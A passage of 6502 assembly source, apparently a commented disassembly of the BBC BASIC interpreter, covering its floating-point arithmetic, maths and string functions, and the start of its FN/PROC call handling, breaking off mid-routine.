LA505:
jsr LA50B
jmp LA65C
LA50B:
jsr LA1DA
beq LA4DC
ldy #$00
sec
lda $30
sbc $3D
beq LA590
bcc LA552
cmp #$25
bcs LA4FC
pha
and #$38
beq LA53D
lsr a
lsr a
lsr a
tax
LA528:
lda $41
sta $42
lda $40
sta $41
lda $3F
sta $40
lda $3E
sta $3F
sty $3E
dex
bne LA528
LA53D:
pla
and #$07
beq LA590
tax
LA543:
lsr $3E
ror $3F
ror $40
ror $41
ror $42
dex
bne LA543
beq LA590
LA552:
sec
lda $3D
sbc $30
cmp #$25
bcs LA4DC
pha
and #$38
beq LA579
lsr a
lsr a
lsr a
tax
LA564:
lda $34
sta $35
lda $33
sta $34
lda $32
sta $33
lda $31
sta $32
sty $31
dex
bne LA564
LA579:
pla
and #$07
beq LA58C
tax
LA57F:
lsr $31
ror $32
ror $33
ror $34
ror $35
dex
bne LA57F
LA58C:
lda $3D
sta $30
LA590:
lda $2E
eor $3B
bpl LA5DF
lda $31
cmp $3E
bne LA5B7
lda $32
cmp $3F
bne LA5B7
lda $33
cmp $40
bne LA5B7
lda $34
cmp $41
bne LA5B7
lda $35
cmp $42
bne LA5B7
jmp LA686
LA5B7:
bcs LA5E3
sec
lda $42
sbc $35
sta $35
lda $41
sbc $34
sta $34
lda $40
sbc $33
sta $33
lda $3F
sbc $32
sta $32
lda $3E
sbc $31
sta $31
lda $3B
sta $2E
jmp LA303
LA5DF:
clc
jmp LA208
LA5E3:
sec
lda $35
sbc $42
sta $35
lda $34
sbc $41
sta $34
lda $33
sbc $40
sta $33
lda $32
sbc $3F
sta $32
lda $31
sbc $3E
sta $31
jmp LA303
LA605:
rts
LA606:
jsr LA1DA
beq LA605
jsr LA34E
bne LA613
jmp LA686
LA613:
clc
lda $30
adc $3D
bcc LA61D
inc $2F
clc
LA61D:
sbc #$7F
sta $30
bcs LA625
dec $2F
LA625:
ldx #$05
ldy #$00
LA629:
lda $30,x
sta $42,x
sty $30,x
dex
bne LA629
lda $2E
eor $3B
sta $2E
ldy #$20
LA63A:
lsr $3E
ror $3F
ror $40
ror $41
ror $42
asl $46
rol $45
rol $44
rol $43
bcc LA652
clc
jsr LA178
LA652:
dey
bne LA63A
rts
LA656:
jsr LA606
LA659:
jsr LA303
LA65C:
lda $35
cmp #$80
bcc LA67C
beq LA676
lda #$FF
jsr LA2A4
jmp LA67C
LA66C:
brk
.byte $14, "Too big"
brk
LA676:
lda $34
ora #$01
sta $34
LA67C:
lda #$00
sta $35
lda $2F
beq LA698
bpl LA66C
LA686:
lda #$00
sta $2E
sta $2F
sta $30
sta $31
sta $32
sta $33
sta $34
sta $35
LA698:
rts
LA699:
jsr LA686
ldy #$80
sty $31
iny
sty $30
tya
rts
LA6A5:
jsr LA385
jsr LA699
bne LA6E7
LA6AD:
jsr LA1DA
beq LA6BB
jsr LA21E
jsr LA3B5
bne LA6F1
rts
LA6BB:
jmp L99A7
; =TAN numeric
; ============
LA6BE:
jsr L92FA
jsr LA9D3
lda $4A
pha
jsr LA7E9
jsr LA38D
inc $4A
jsr LA99E
jsr LA7E9
jsr LA4D6
pla
sta $4A
jsr LA99E
jsr LA7E9
jsr LA6E7
lda #$FF
rts
LA6E7:
jsr LA1DA
beq LA698
jsr LA34E
beq LA6BB
LA6F1:
lda $2E
eor $3B
sta $2E
sec
lda $30
sbc $3D
bcs LA701
dec $2F
sec
LA701:
adc #$80
sta $30
bcc LA70A
inc $2F
clc
LA70A:
ldx #$20
LA70C:
bcs LA726
lda $31
cmp $3E
bne LA724
lda $32
cmp $3F
bne LA724
lda $33
cmp $40
bne LA724
lda $34
cmp $41
LA724:
bcc LA73F
LA726:
lda $34
sbc $41
sta $34
lda $33
sbc $40
sta $33
lda $32
sbc $3F
sta $32
lda $31
sbc $3E
sta $31
sec
LA73F:
rol $46
rol $45
rol $44
rol $43
asl $34
rol $33
rol $32
rol $31
dex
bne LA70C
ldx #$07
LA754:
bcs LA76E
lda $31
cmp $3E
bne LA76C
lda $32
cmp $3F
bne LA76C
lda $33
cmp $40
bne LA76C
lda $34
cmp $41
LA76C:
bcc LA787
LA76E:
lda $34
sbc $41
sta $34
lda $33
sbc $40
sta $33
lda $32
sbc $3F
sta $32
lda $31
sbc $3E
sta $31
sec
LA787:
rol $35
asl $34
rol $33
rol $32
rol $31
dex
bne LA754
asl $35
lda $46
sta $34
lda $45
sta $33
lda $44
sta $32
lda $43
sta $31
jmp LA659
LA7A9:
brk
.byte $15, "-ve root"
brk
; =SQR numeric
; ============
LA7B4:
jsr L92FA
LA7B7:
jsr LA1DA
beq LA7E6
bmi LA7A9
jsr LA385
lda $30
lsr a
adc #$40
sta $30
lda #$05
sta $4A
jsr LA7ED
LA7CF:
jsr LA38D
lda #$6C
sta $4B
jsr LA6AD
lda #$71
sta $4B
jsr LA500
dec $30
dec $4A
bne LA7CF
LA7E6:
lda #$FF
rts
; Point &4B/C to a floating point temp
; ------------------------------------
LA7E9:
lda #$7B
bne LA7F7
LA7ED:
lda #$71
bne LA7F7
LA7F1:
lda #$76
bne LA7F7
LA7F5:
lda #$6C
LA7F7:
sta $4B
lda #$04
sta $4C
rts
; =LN numeric
; ===========
LA7FE:
jsr L92FA
LA801:
jsr LA1DA
beq LA808
bpl LA814
LA808:
brk
.byte $16, "Log range"
brk
LA814:
jsr LA453
ldy #$80
sty $3B
sty $3E
iny
sty $3D
ldx $30
beq LA82A
lda $31
cmp #$B5
bcc LA82C
LA82A:
inx
dey
LA82C:
txa
pha
sty $30
jsr LA505
lda #$7B
jsr LA387
lda #$73
ldy #$A8
jsr LA897
jsr LA7E9
jsr LA656
jsr LA656
jsr LA500
jsr LA385
pla
sec
sbc #$81
jsr LA2ED
lda #$6E
sta $4B
lda #$A8
sta $4C
jsr LA656
jsr LA7F5
jsr LA500
lda #$FF
rts
LA869:
.byte $7F, $5E, $5B, $D8, $AA
LA86E:
.byte $80, $31, $72, $17, $F8
LA873:
.byte $06, $7A, $12
LA876:
.byte $38, $A5, $0B, $88, $79, $0E, $9F
.byte $F3, $7C, $2A, $AC, $3F, $B5, $86, $34
.byte $01, $A2, $7A, $7F, $63, $8E, $37, $EC
.byte $82, $3F, $FF, $FF, $C1, $7F, $FF, $FF
.byte $FF, $FF
LA897:
sta $4D
sty $4E
jsr LA385
ldy #$00
lda ($4D),y
sta $48
inc $4D
bne LA8AA
inc $4E
LA8AA:
lda $4D
sta $4B
lda $4E
sta $4C
jsr LA3B5
LA8B5:
jsr LA7F5
jsr LA6AD
clc
lda $4D
adc #$05
sta $4D
sta $4B
lda $4E
adc #$00
sta $4E
sta $4C
jsr LA500
dec $48
bne LA8B5
rts
;=ACS numeric
; ============
LA8D4:
jsr LA8DA
jmp LA927
; =ASN numeric
; ============
LA8DA:
jsr L92FA
jsr LA1DA
bpl LA8EA
lsr $2E
jsr LA8EA
jmp LA916
LA8EA:
jsr LA381
jsr LA9B1
jsr LA1DA
beq LA8FE
jsr LA7F1
jsr LA6AD
jmp LA90A
LA8FE:
jsr LAA55
jsr LA3B5
LA904:
lda #$FF
rts
; =ATN numeric
; ============
LA907:
jsr L92FA
LA90A:
jsr LA1DA
beq LA904
bpl LA91B
lsr $2E
jsr LA91B
LA916:
lda #$80
sta $2E
rts
LA91B:
lda $30
cmp #$81
bcc LA936
jsr LA6A5
jsr LA936
LA927:
jsr LAA48
jsr LA500
jsr LAA4C
jsr LA500
jmp LAD7E
LA936:
lda $30
cmp #$73
bcc LA904
jsr LA381
jsr LA453
lda #$80
sta $3D
sta $3E
sta $3B
jsr LA505
lda #LA95A & 255
ldy #LA95A / 256
jsr LA897
jsr LAAD1
lda #$FF
rts
LA95A:
ora #$85
.byte $A3, $59, $E8, $67, $80, $1C, $9D, $07
.byte $36, $80, $57, $BB, $78, $DF, $80, $CA
.byte $9A, $0E, $83, $84, $8C, $BB, $CA, $6E
.byte $81, $95, $96, $06, $DE, $81, $0A, $C7
.byte $6C, $52, $7F, $7D, $AD, $90, $A1, $82
.byte $FB, $62, $57, $2F, $80, $6D, $63, $38
.byte $2C
; =COS numeric
; ============
LA98D:
jsr L92FA ; Evaluate float
jsr LA9D3
inc $4A
jmp LA99E
; =SIN numeric
; ============
LA998:
jsr L92FA ; Evaluate float
jsr LA9D3
LA99E:
lda $4A
and #$02
beq LA9AA
jsr LA9AA
jmp LAD7E
LA9AA:
lsr $4A
bcc LA9C3
jsr LA9C3
LA9B1:
jsr LA385
jsr LA656
jsr LA38D
jsr LA699
jsr LA4D0
jmp LA7B7
LA9C3:
jsr LA381
jsr LA656
lda #LAA72 & 255
ldy #LAA72 / 256
jsr LA897
jmp LAAD1
LA9D3:
lda $30
cmp #$98
bcs LAA38
jsr LA385
jsr LAA55
jsr LA34E
lda $2E
sta $3B
dec $3D
jsr LA505
jsr LA6E7
jsr LA3FE
lda $34
sta $4A
ora $33
ora $32
ora $31
beq LAA35
lda #$A0
sta $30
ldy #$00
sty $35
lda $31
sta $2E
bpl LAA0E
jsr LA46C
LAA0E:
jsr LA303
jsr LA37D
jsr LAA48
jsr LA656
jsr LA7F5
jsr LA500
jsr LA38D
jsr LA7ED
jsr LA3B5
jsr LAA4C
jsr LA656
jsr LA7F5
jmp LA500
LAA35:
jmp LA3B2
LAA38:
brk
.byte $17, "Accuracy lost"
brk
LAA48:
lda #LAA59 & 255
bne LAA4E
LAA4C:
lda #LAA5E & 255
LAA4E:
sta $4B
lda #LAA59 / 256
sta $4C
rts
LAA55:
lda #LAA63 & 255
bne LAA4E
LAA59:
sta ($C9,x)
bpl LAA5D
LAA5D:
brk
LAA5E:
.byte $6F, $15, $77, $7A, $61
LAA63:
.byte $81, $49, $0F
.byte $DA, $A2
LAA68:
.byte $7B, $0E, $FA, $35, $12
LAA6D:
.byte $86
.byte $65, $2E, $E0, $D3
LAA72:
.byte $05, $84, $8A, $EA
.byte $0C, $1B, $84, $1A, $BE, $BB, $2B, $84
.byte $37, $45, $55, $AB, $82, $D5, $55, $57
.byte $7C, $83, $C0, $00, $00, $05, $81, $00
.byte $00, $00, $00
; = EXP numeric
; =============
LAA91:
jsr L92FA
LAA94:
lda $30
cmp #$87
bcc LAAB8
bne LAAA2
LAA9C:
ldy $31
cpy #$B3
bcc LAAB8
LAAA2:
lda $2E
bpl LAAAC
jsr LA686
lda #$FF
rts
LAAAC:
brk
.byte $18, "Exp range"
brk
LAAB8:
jsr LA486
jsr LAADA
jsr LA381
lda #LAAE4 & 255
sta $4B
lda #LAAE4 / 256
sta $4C
jsr LA3B5
lda $4A
jsr LAB12
LAAD1:
jsr LA7F1
jsr LA656
lda #$FF
rts
LAADA:
lda #LAAE9 & 255
ldy #LAAE9 / 256
jsr LA897
lda #$FF
rts
LAAE4:
.byte $82, $2D, $F8, $54, $58
LAAE9:
.byte $07, $83, $E0
.byte $20, $86, $5B, $82, $80, $53, $93, $B8
.byte $83, $20, $00, $06, $A1, $82, $00, $00
.byte $21, $63, $82, $C0, $00, $00, $02, $82
.byte $80, $00, $00, $0C, $81, $00, $00, $00
.byte $00, $81, $00, $00, $00, $00
LAB12:
tax
bpl LAB1E
dex
txa
eor #$FF
pha
jsr LA6A5
pla
LAB1E:
pha
jsr LA385
jsr LA699
LAB25:
pla
beq LAB32
sec
sbc #$01
pha
jsr LA656
jmp LAB25
LAB32:
rts
; =ADVAL numeric - Call OSBYTE to read buffer/device
; ==================================================
LAB33:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr L92E3 ; Evaluate integer
ldx $2A ; X=low byte, A=&80 for ADVAL
lda #$80
jsr OSBYTE
txa
jmp LAEEA
.endif
LAB41: ; POINT()
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr L92DD
jsr LBD94
jsr L8AAE
jsr LAE56
jsr L92F0
lda $2A
pha
lda $2B
pha
jsr LBDEA
pla
sta $2D
pla
sta $2C
ldx #$2A
lda #$09
jsr OSWORD
lda $2E
bmi LAB9D
jmp LAED8
.endif
; =POS
; ====
LAB6D:
lda #$86
jsr OSBYTE
txa
jmp LAED8
; =VPOS
; =====
LAB76:
lda #$86
jsr OSBYTE
tya
jmp LAED8
LAB7F:
jsr LA1DA
beq LABA2
bpl LABA0
bmi LAB9D
; =SGN numeric
;\ ============
LAB88:
jsr LADEC
beq LABE6
bmi LAB7F
lda $2D
ora $2C
ora $2B
ora $2A
beq LABA5
lda $2D
bpl LABA0
LAB9D:
jmp LACC4
LABA0:
lda #$01
LABA2:
jmp LAED8
LABA5:
lda #$40
rts
; =LOG numeric
; ============
LABA8:
jsr LA7FE
ldy #LA869 & 255
lda #LA869 / 256
bne LABB8
; =RAD numeric
; ============
LABB1:
jsr L92FA
ldy #LAA68 & 255
lda #LAA68 / 256
LABB8:
sty $4B
sta $4C
jsr LA656
lda #$FF
rts
; =DEG numeric
; ============
LABC2:
jsr L92FA
ldy #LAA6D & 255
lda #LAA6D / 256
bne LABB8
; =PI
; ===
LABCB:
jsr LA8FE
inc $30
tay
rts
; =USR numeric
; ============
LABD2:
jsr L92E3
jsr L8F1E
sta $2A
stx $2B
sty $2C
php
pla
sta $2D
cld
lda #$40
rts
LABE6:
jmp L8C0E
; =EVAL string$ - Tokenise and evaluate expression
; ================================================
LABE9:
jsr LADEC ; Evaluate value
bne LABE6 ; Error if not string
inc $36 ; Increment string length to add a <cr>
ldy $36
lda #$0D ; Put in terminating <cr>
sta $05FF,y
jsr LBDB2 ; Stack the string
; String has to be stacked as otherwise would
; be overwritten by any string operations
; called by Evaluator
lda $19 ; Save PTRB
pha
lda $1A
pha
lda $1B
pha
ldy $04 ; YX=>stackbottom (wrong way around)
ldx $05
iny ; Step over length byte
sty $19 ; PTRB=>stacked string
sty $37 ; GPTR=>stacked string
bne LAC0F
inx
LAC0F:
stx $1A ; PTRB and GPTR high bytes
stx $38
ldy #$FF
sty $3B
iny ; Point PTRB offset back to start
sty $1B
jsr L8955 ; Tokenise string on stack at GPTR
jsr L9B29 ; Call expression evaluator
jsr LBDDC ; Drop string from stack
LAC23:
pla ; Restore PTRB
sta $1B
pla
sta $1A
pla
sta $19
lda $27 ; Get expression return value
rts ; And return
; =VAL numeric
; ============
LAC2F:
jsr LADEC
bne LAC9B
LAC34:
ldy $36
lda #$00
sta $0600,y
lda $19
pha
lda $1A
pha
lda $1B
pha
lda #$00
sta $1B
lda #$00
sta $19
lda #$06
sta $1A
jsr L8A8C
cmp #$2D
beq LAC66
cmp #$2B
bne LAC5E
jsr L8A8C
LAC5E:
dec $1B
jsr LA07B
jmp LAC73
LAC66:
jsr L8A8C
dec $1B
jsr LA07B
bcc LAC73
jsr LAD8F
LAC73:
sta $27
jmp LAC23
; =INT numeric
; ============
LAC78:
jsr LADEC
beq LAC9B
bpl LAC9A
lda $2E
php
jsr LA3FE
plp
bpl LAC95
lda $3E
ora $3F
ora $40
ora $41
beq LAC95
jsr LA4C7
LAC95:
jsr LA3E7
lda #$40
LAC9A:
rts
LAC9B:
jmp L8C0E
; =ASC string$
; ============
LAC9E:
jsr LADEC
bne LAC9B
lda $36
beq LACC4
lda $0600
LACAA:
jmp LAED8
; =INKEY numeric
; ==============
LACAD:
jsr LAFAD
cpy #$00
bne LACC4
txa
jmp LAEEA
; =EOF#numeric
; ============
LACB8:
.if .defined (PSBC)
jmp L9821 ; Syntax error
.else
jsr LBFB5
tax
lda #$7F
jsr OSBYTE
txa
beq LACAA
.endif
; =TRUE
; =====
LACC4:
lda #$FF
LACC6:
sta $2A
sta $2B
sta $2C
sta $2D
LACC8:
lda #$40
rts
; =NOT numeric
; ============
LACD1:
jsr L92E3
ldx #$03
LACD6:
lda $2A,x
eor #$FF
sta $2A,x
dex
bpl LACD6
lda #$40
rts
; =INSTR(string$, string$ [, numeric])
; ====================================
LACE2:
jsr L9B29
bne LAC9B
cpx #$2C
bne LAD03
inc $1B
jsr LBDB2
jsr L9B29
bne LAC9B
lda #$01
sta $2A
inc $1B
cpx #')'
beq LAD12
cpx #$2C
beq LAD06
LAD03:
jmp L8AA2
LAD06:
jsr LBDB2
jsr LAE56
jsr L92F0
jsr LBDCB
LAD12:
ldy #$00
ldx $2A
bne LAD1A
ldx #$01
LAD1A:
stx $2A
txa
dex
stx $2D
clc
adc $04
sta $37
tya
adc $05
sta $38
lda ($04),y
sec
sbc $2D
bcc LAD52
sbc $36
bcc LAD52
adc #$00
sta $2B
jsr LBDDC
LAD3C:
ldy #$00
ldx $36
beq LAD4D
LAD42:
lda ($37),y
cmp $0600,y
bne LAD59
iny
dex
bne LAD42
LAD4D:
lda $2A
LAD4F:
jmp LAED8
LAD52:
jsr LBDDC
LAD55:
lda #$00
beq LAD4F
LAD59:
inc $2A
dec $2B
beq LAD55
inc $37
bne LAD3C
inc $38
bne LAD3C
LAD67:
jmp L8C0E
; =ABS numeric
; ============
LAD6A:
jsr LADEC
beq LAD67
bmi LAD77
LAD71:
bit $2D
bmi LAD93
bpl LADAA
LAD77:
jsr LA1DA
bpl LAD89
bmi LAD83
LAD7E:
jsr LA1DA
beq LAD89
LAD83:
lda $2E
eor #$80
sta $2E
LAD89:
lda #$FF
rts
LAD8C:
jsr LAE02
LAD8F:
beq LAD67
bmi LAD7E
LAD93:
sec
lda #$00
tay
sbc $2A
sta $2A
tya
sbc $2B
sta $2B
tya
sbc $2C
sta $2C
tya
sbc $2D
sta $2D
LADAA:
lda #$40
rts
LADAD:
jsr L8A8C
cmp #$22
beq LADC9
ldx #$00
LADB6:
lda ($19),y
sta $0600,x
iny
inx
cmp #$0D
beq LADC5
cmp #$2C
bne LADB6
LADC5:
dey
jmp LADE1
LADC9:
ldx #$00
LADCB:
iny
LADCC:
lda ($19),y
cmp #$0D
beq LADE9
iny
sta $0600,x
inx
cmp #$22
bne LADCC
lda ($19),y
cmp #$22
beq LADCB
LADE1:
dex
stx $36
sty $1B
lda #$00
rts
LADE9:
jmp L8E98
; Evaluator Level 1, - + NOT function ( ) ? ! $ | "
; -------------------------------------------------
LADEC:
ldy $1B ; Get next character
inc $1B
lda ($19),y
cmp #$20 ; Loop to skip spaces
beq LADEC
cmp #'-' ; Jump with unary minus
beq LAD8C
cmp #'"' ; Jump with string
beq LADC9
cmp #'+' ; Jump with unary plus
bne LAE05
LAE02:
jsr L8A8C ; Get current character
LAE05:
cmp #$8E ; Lowest function token, test for indirections
bcc LAE10
cmp #$C6 ; Highest function token, jump to error
bcs LAE43
jmp L8BB1 ; Jump via function dispatch table
; Indirection, hex, brackets
; --------------------------
LAE10:
cmp #'?' ; Jump with ?numeric or higher
bcs LAE20
cmp #'.' ; Jump with .numeric or higher
bcs LAE2A
cmp #'&' ; Jump with hex number
beq LAE6D
cmp #'(' ; Jump with brackets
beq LAE56
LAE20:
dec $1B
jsr L95DD
beq LAE30 ; Jump with undefined variable or bad name
jmp LB32C
LAE2A:
jsr LA07B
bcc LAE43
rts
LAE30:
lda $28 ; Check assembler option
and #$02 ; Is 'ignore undefined variables' set?
bne LAE43 ; b1=1, jump to give No such variable
bcs LAE43 ; Jump with bad variable name
stx $1B
LAE3A:
lda $0440 ; Use P% for undefined variable
ldy $0441
jmp LAEEA ; Jump to return 16-bit integer
LAE43:
brk
.byte $1A, "No such variable"
LAE54:
brk
LAE56:
jsr L9B29
inc $1B
cpx #')'
bne LAE61
tay
rts
LAE61:
brk
.byte $1B, "Missing )"
brk
LAE6D:
ldx #$00
stx $2A
stx $2B
stx $2C
stx $2D
ldy $1B
LAE79:
lda ($19),y
cmp #$30
bcc LAEA2
cmp #$3A
bcc LAE8D
sbc #$37
cmp #$0A
bcc LAEA2
cmp #$10
bcs LAEA2
LAE8D:
asl a
asl a
asl a
asl a
ldx #$03
LAE93:
asl a
rol $2A
rol $2B
rol $2C
rol $2D
dex
bpl LAE93
iny
bne LAE79
LAEA2:
txa
bpl LAEAA
sty $1B
lda #$40
rts
LAEAA:
brk
.byte $1C, "Bad HEX"
brk
; =TIME - Read system TIME
; ========================
LAEB4:
ldx #$2A ; Point to integer accumulator
ldy #$00
lda #$01 ; Read TIME to IntA via OSWORD &01
jsr OSWORD
lda #$40 ; Return 'integer'
rts
; =PAGE - Read PAGE
; =================
LAEC0:
lda #$00
ldy $18
jmp LAEEA
LAEC7:
jmp LAE43
; =FALSE
; ======
LAECA:
lda #$00 ; Jump to return &00 as 16-bit integer
beq LAED8
LAECE:
jmp L8C0E
; =LEN string$
; ============
LAED1:
jsr LADEC
bne LAECE
lda $36
; Return 8-bit integer
; --------------------
LAED8:
ldy #$00 ; Clear b8-b15, jump to return 16-bit int
beq LAEEA
; =TOP - Return top of program
; ============================
LAEDC:
ldy $1B
lda ($19),y
cmp #$50
bne LAEC7
inc $1B
lda $12
ldy $13
; Return 16-bit integer in AY
; ---------------------------
LAEEA:
sta $2A ; Store AY in integer accumulator
sty $2B
lda #$00 ; Set b16-b31 to 0
sta $2C
sta $2D
lda #$40 ; Return 'integer'
rts
; =COUNT - Return COUNT
; =====================
LAEF7:
lda $1E ; Get COUNT, jump to return 8-bit integer
jmp LAED8
; =LOMEM - Start of BASIC heap
; ============================
LAEFC:
lda $00 ; Get LOMEM to AY, jump to return as integer
ldy $01
jmp LAEEA
; =HIMEM - Top of BASIC memory
; ============================
LAF03:
lda $06 ; Get HIMEM to AY, jump to return as integer
ldy $07
jmp LAEEA
; =RND(numeric)
; -------------
LAF0A:
inc $1B
jsr LAE56
jsr L92F0
lda $2D
bmi LAF3F
ora $2C
ora $2B
bne LAF24
lda $2A
beq LAF6C
cmp #$01
beq LAF69
LAF24:
jsr LA2BE
jsr LBD51
jsr LAF69
jsr LBD7E
jsr LA606
jsr LA303
jsr LA3E4
jsr L9222
lda #$40
rts
LAF3F:
ldx #$0D
jsr LBE44
lda #$40
sta $11
rts
; RND [(numeric)]
; ===============
LAF49:
ldy $1B ; Get current character
lda ($19),y
cmp #'(' ; Jump with RND(numeric)
beq LAF0A
jsr LAF87 ; Get random number
ldx #$0D
LAF56:
lda $00,x ; Copy random number to IntA
sta $2A
lda $01,x
sta $2B
lda $02,x
sta $2C
lda $03,x
sta $2D
lda #$40 ;Return Integer
rts
LAF69:
jsr LAF87
LAF6C:
ldx #$00
stx $2E
stx $2F
stx $35
lda #$80
sta $30
LAF78:
lda $0D,x
sta $31,x
inx
cpx #$04
bne LAF78
jsr LA659
lda #$FF
rts
LAF87:
ldy #$20
LAF89:
lda $0F
lsr a
lsr a
lsr a
eor $11
ror a
rol $0D
rol $0E
rol $0F
rol $10
rol $11
dey
bne LAF89
rts
; =ERL - Return error line number
; ===============================
LAF9F:
ldy $09 ; Get ERL to AY, jump to return 16-bit integer
lda $08
jmp LAEEA
;ERR - Return current error number
; ==================================
LAFA6:
ldy #$00 ; Get error number, jump to return 16-bit integer
lda (FAULT),y
jmp LAEEA
; INKEY
; =====
LAFAD:
jsr L92E3 ; Evaluate <numeric>
; BBC - Call MOS to wait for keypress
; -----------------------------------
lda #$81
LAFB2:
ldx $2A
ldy $2B
jmp OSBYTE
; =GET
; ====
LAFB9:
jsr OSRDCH
jmp LAED8
; =GET$
; =====
LAFBF:
jsr OSRDCH
LAFC2:
sta $0600
lda #$01
sta $36
lda #$00
rts
; =LEFT$(string$, numeric)
; ========================
LAFCC:
jsr L9B29
bne LB033
cpx #$2C
bne LB036
inc $1B
jsr LBDB2
jsr LAE56
jsr L92F0
jsr LBDCB
lda $2A
cmp $36
bcs LAFEB
sta $36
LAFEB:
lda #$00
rts
; =RIGHT$(string$, numeric)
; =========================
LAFEE:
jsr L9B29
bne LB033
cpx #$2C
bne LB036
inc $1B
jsr LBDB2
jsr LAE56
jsr L92F0
jsr LBDCB
lda $36
sec
sbc $2A
bcc LB023
beq LB025
tax
lda $2A
sta $36
beq LB025
ldy #$00
LB017:
lda $0600,x
sta $0600,y
inx
iny
dec $2A
bne LB017
LB023:
lda #$00
LB025:
rts
; =INKEY$ numeric
; ===============
LB026:
jsr LAFAD
txa
cpy #$00
beq LAFC2
LB02E:
lda #$00
sta $36
rts
LB033:
jmp L8C0E
LB036:
jmp L8AA2
; =MID$(string$, numeric [, numeric] )
; ====================================
LB039:
jsr L9B29
bne LB033
cpx #$2C
bne LB036
jsr LBDB2
inc $1B
jsr L92DD
lda $2A
pha
lda #$FF
sta $2A
inc $1B
cpx #')'
beq LB061
cpx #$2C
bne LB036
jsr LAE56
jsr L92F0
LB061:
jsr LBDCB
pla
tay
clc
beq LB06F
sbc $36
bcs LB02E
dey
tya
LB06F:
sta $2C
tax
ldy #$00
lda $36
sec
sbc $2C
cmp $2A
bcs LB07F
sta $2A
LB07F:
lda $2A
beq LB02E
LB083:
lda $0600,x
sta $0600,y
iny
inx
cpy $2A
bne LB083
sty $36
lda #$00
rts
; =STR$ [~] numeric
; =================
LB094:
jsr L8A8C ; Skip spaces
ldy #$FF ; Y=&FF for decimal
cmp #'~'
beq LB0A1
ldy #$00 ; Y=&00 for hex, step past ~
dec $1B
LB0A1:
tya ; Save format
pha
jsr LADEC ; Evaluate, error if not number
beq LB0BF
tay
pla ; Get format back
sta $15
lda $0403 ; Top byte of @%, STR$ uses @%
bne LB0B9
sta $37 ; Store 'General format'
jsr L9EF9 ; Convert using general format
lda #$00 ; Return string
rts
LB0B9:
jsr L9EDF ; Convert using @% format
lda #$00 ; Return string
rts
LB0BF:
jmp L8C0E ; Jump to Type mismatch error
; =STRING$(numeric, string$)
; ==========================
LB0C2:
jsr L92DD
jsr LBD94
jsr L8AAE
jsr LAE56
bne LB0BF
jsr LBDEA
ldy $36
beq LB0F5
lda $2A
beq LB0F8
dec $2A
beq LB0F5
LB0DF:
ldx #$00
LB0E1:
lda $0600,x
sta $0600,y
inx
iny
beq LB0FB
cpx $36
bcc LB0E1
dec $2A
bne LB0DF
sty $36
LB0F5:
lda #$00
rts
LB0F8:
sta $36
rts
LB0FB:
jmp L9C03
LB0FE:
pla
sta $0C
pla
sta $0B
brk
.byte $1D, "No such ", tknFN, "/", tknPROC
brk
; Look through program for FN/PROC
; --------------------------------
LB112:
lda $18 ; Start at PAGE
sta $0C
lda #$00
sta $0B
LB11A:
ldy #$01 ; Get line number high byte
lda ($0B),y
bmi LB0FE ; End of program, jump to 'No such FN/PROC' error
ldy #$03
LB122:
iny
lda ($0B),y
cmp #' ' ; Skip past spaces
beq LB122
cmp #tknDEF ; Found DEF at start of lien
beq LB13C
LB12D:
ldy #$03 ; Get line length
lda ($0B),y
clc ; Point to next line
adc $0B
sta $0B
bcc LB11A
inc $0C
bcs LB11A ; Loop back to check next line
LB13C:
iny
sty $0A
jsr L8A97
tya
tax
clc
adc $0B
ldy $0C
bcc LB14D
iny
clc
LB14D:
sbc #$00
sta $3C
tya
sbc #$00
sta $3D
ldy #$00
LB158:
iny
inx
lda ($3C),y
cmp ($37),y
bne LB12D
cpy $39
bne LB158
iny
lda ($3C),y
jsr L8926
bcs LB12D
txa
tay
jsr L986D
jsr L94ED
ldx #$01
jsr L9531
ldy #$00
lda $0B
sta ($02),y
iny
lda $0C
sta ($02),y
jsr L9539
jmp LB1F4
LB18A:
brk
.byte $1E, "Bad call"
brk
; =FNname [parameters]
; ====================
LB195:
lda #$A4 ; 'FN' token
; Call subroutine
; ---------------
; A=FN or PROC
; PtrA=>start of FN/PROC name
;
LB197:
sta $27 ; Save PROC/FN token
tsx ; Drop BASIC stack by size of 6502 stack
txa
clc
adc $04
jsr LBE2E ; Store new BASIC stack pointer, check for No Room
ldy #$00 ; Store 6502 Stack Pointer on BASIC stack
txa
sta ($04),y
LB1A6:
inx
iny
lda $0100,x ; Copy 6502 stack onto BASIC stack
sta ($04),y
cpx #$FF
bne LB1A6
txs ; Clear 6502 stack
lda $27 ; Push PROC/FN token
pha
lda $0A ; Push PtrA line pointer
pha
lda $0B
pha
lda $0C ; Push PtrA line pointer offset
pha
lda $1B
tax
clc
adc $19
ldy $1A
bcc LB1CA
LB1C8:
iny
clc
LB1CA:
sbc #$01
sta $37
tya ; &37/8=>PROC token
sbc #$00
sta $38
ldy #$02 ; Check name is valid
jsr L955B
cpy #$02 ; No valid characters, jump to 'Bad call' error
beq LB18A
stx $1B ; Line pointer offset => after valid FN/PROC name
dey
sty $39
jsr L945B ; Look for FN/PROC name in heap, if found, jump to it
bne LB1E9
jmp LB112 ; Not in heap, jump to look through program
; FN/PROC destination found
; -------------------------
LB1E9:
ldy #$00 ; Set PtrA to address from FN/PROC infoblock
lda ($2A),y
sta $0B
iny
lda ($2A),y
sta $0C
LB1F4:
lda #$00 ; Push 'no parameters' (?)
pha
sta $0A
jsr L8A97
cmp #'('
beq LB24D
dec $0A
LB202:
lda $1B
pha
lda $19
pha
lda $1A
pha
jsr L8BA3
pla
sta $1A
pla
sta $19
pla
sta $1B
pla
beq LB226
sta $3F
LB21C:
jsr LBE0B
jsr L8CC1
dec $3F
bne LB21C
LB226:
pla
sta $0C
pla
sta $0B
pla
sta $0A
pla
ldy #$00
lda ($04),y
tax
txs
LB236:
iny
inx
lda ($04),y ; Copy stacked 6502 stack back onto 6502 stack
sta $0100,x
cpx #$FF
bne LB236
tya ; Adjust BASIC stack pointer
adc $04
sta $04
bcc LB24A
inc $05
LB24A:
lda $27
rts
LB24D:
lda $1B
pha
lda $19
pha
lda $1A
pha
jsr L9582
beq LB2B5
lda $1B
sta $0A
pla
sta $1A
pla
sta $19
pla
sta $1B
pla
tax
lda $2C
pha
lda $2B
pha
lda $2A
pha
inx
txa
pha
jsr LB30D
jsr L8A97
cmp #','
beq LB24D
cmp #')'
bne LB2B5
lda #$00
pha
jsr L8A8C
cmp #'('
bne LB2B5
LB28E:
jsr L9B29
jsr LBD90
lda $27
sta $2D
jsr LBD94
pla
tax
inx
txa
pha
jsr L8A8C
cmp #$2C
beq LB28E
cmp #$29
bne LB2B5
pla
pla
